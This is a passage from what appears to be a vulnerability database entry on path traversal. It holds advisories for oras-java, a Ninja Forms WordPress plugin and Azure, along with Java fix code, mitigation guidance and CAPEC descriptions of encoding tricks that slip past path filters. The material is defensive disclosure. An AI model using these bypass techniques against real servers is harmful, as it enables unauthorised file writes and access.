linkTarget\n : outputPath.getParent().resolve(linkTarget)).normalize();\n if (!resolved.startsWith(normalizedTarget)) {\n throw new IOException(\n \"Refusing to create symlink that escapes target dir: \"\n + outputPath + \" -\u003e \" + linkTarget);\n }\n}\n```\n\nCall this immediately before each `createSymbolicLink(...)` site (one in `untar`, one in `unzip`).\n\n(2) Open regular-file writes with `LinkOption.NOFOLLOW_LINKS` so a pre-existing symlink under the extraction path cannot be silently followed:\n\n```java\ntry (OutputStream out = Files.newOutputStream(\n outputPath,\n StandardOpenOption.CREATE_NEW,\n StandardOpenOption.WRITE,\n java.nio.file.LinkOption.NOFOLLOW_LINKS)) {\n tais.transferTo(out); // or zais.transferTo(out) for unzip\n}\n```\n\n`CREATE_NEW` (instead of the implicit `CREATE` + `TRUNCATE_EXISTING`) guarantees the open fails if the path resolves to an existing entry (symlink or regular file), and is consistent with archive extraction semantics where layers should not silently clobber siblings.\n\nA regression test that builds the malicious tar inline and asserts the post-extract state stays within `target` is the natural shape for `src/test/java/land/oras/utils/ArchiveUtilsTest.java`.\n\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-j6hm-v3x2-qv6j",
"modified": "2026-07-01T20:31:34Z",
"published": "2026-07-01T20:31:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-java/security/advisories/GHSA-j6hm-v3x2-qv6j"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory"
}
GHSA-J6R6-RP64-MQCR
Vulnerability from github – Published: 2026-07-17 06:30 – Updated: 2026-07-17 06:30The Ninja Forms - Excel Export plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.6 via the 'spreadsheet_export_tmp_name' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to write .xls/.xlsx files to arbitrary locations on the server, which can be used to stage further attacks.
{
"affected": [],
"aliases": [
"CVE-2026-15160"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T04:16:50Z",
"severity": "MODERATE"
},
"details": "The Ninja Forms - Excel Export plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.6 via the \u0027spreadsheet_export_tmp_name\u0027 parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to write .xls/.xlsx files to arbitrary locations on the server, which can be used to stage further attacks.",
"id": "GHSA-j6r6-rp64-mqcr",
"modified": "2026-07-17T06:30:59Z",
"published": "2026-07-17T06:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15160"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ninja-forms-excel-export/trunk/includes/Admin/ExtractPostData.php#L125"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ninja-forms-excel-export/trunk/includes/Handlers/ExportFile.php#L485"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ninja-forms-excel-export/trunk/ninja-forms-excel-export.php#L95"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/24fb24cc-c29f-4d2d-87ba-5d211386e7dd?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J6RM-RH5C-35FW
Vulnerability from github – Published: 2025-05-13 18:30 – Updated: 2025-05-13 18:30Improper limitation of a pathname to a restricted directory ('path traversal') in Azure allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2025-30387"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-13T17:16:01Z",
"severity": "CRITICAL"
},
"details": "Improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) in Azure allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-j6rm-rh5c-35fw",
"modified": "2025-05-13T18:30:57Z",
"published": "2025-05-13T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30387"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-30387"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.